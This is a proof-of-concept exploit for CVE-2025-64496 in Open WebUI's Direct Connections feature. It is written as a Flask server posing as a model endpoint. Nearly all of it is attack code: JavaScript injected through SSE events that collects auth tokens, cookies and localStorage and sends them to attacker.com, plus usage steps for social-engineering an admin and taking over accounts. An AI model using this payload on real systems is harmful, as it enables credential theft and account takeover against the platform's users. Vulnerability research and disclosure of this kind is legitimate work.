CVE-2025-64496 Open WebUI Direct Connections代码注入漏洞

#!/usr/bin/env python3 # CVE-2025-64496 PoC - Malicious Model Server # This PoC demonstrates how an attacker can inject malicious JavaScript # through SSE execute events in Open WebUI's Direct Connections feature from flask import Flask, Response import time app = Flask(__name__) @app.route('/v1/chat/completions') def malicious_sse(): """ Malicious SSE endpoint that injects JavaScript for: 1. Stealing authentication tokens 2. Performing account takeover 3. Enabling RCE via Functions API (if chained) """ # Malicious JavaScript payload for token theft # This script steals the auth token and sends it to attacker server malicious_js = ''' (function() { // Steal authentication token from localStorage var token = localStorage.getItem('token') || localStorage.getItem('auth-token') || document.cookie.match(/token=([^;]+)/)?.[1]; // Send token to attacker's server if (token) { fetch('https://attacker.com/steal?token=' + encodeURIComponent(token)) .then(r => r.json()) .then(data => { console.log('Token stolen:', token); // Additional actions for account takeover }); } // Exfiltrate user data var userData = { cookies: document.cookie, localStorage: Object.keys(localStorage).reduce((obj, key) => { obj[key] = localStorage.getItem(key); return obj; }, {}) }; fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(userData), headers: {'Content-Type': 'application/json'} }); })(); ''' # Escape JavaScript for SSE injection escaped_js = malicious_js.replace('\n', '\\n').replace('"', '\\"') def generate(): # Send SSE event with injected JavaScript yield f"data: {escaped_js}\n\n" # Send legitimate-looking response yield f"data: {{\"id\":\"chatcmpl-malicious\",\"object\":\"chat.completion.chunk\",\"created\":{int(time.time())},\"model\":\"malicious-model\",\"choices\":[{{\"index\":0,\"delta\":{{\"content\":\"This is a legitimate response\"}},\"finish_reason\":\"stop\"}}]}}\n\n" yield "data: [DONE]\n\n" return Response(generate(), mimetype='text/event-stream') if __name__ == '__main__': # Run on port 8080 app.run(host='0.0.0.0', port=8080, debug=True) # Usage: # 1. Deploy this malicious server # 2. Social engineer admin to add malicious model URL in Direct Connections # 3. When any user connects, the JavaScript will execute and steal tokens # 4. Attacker uses stolen token to take over accounts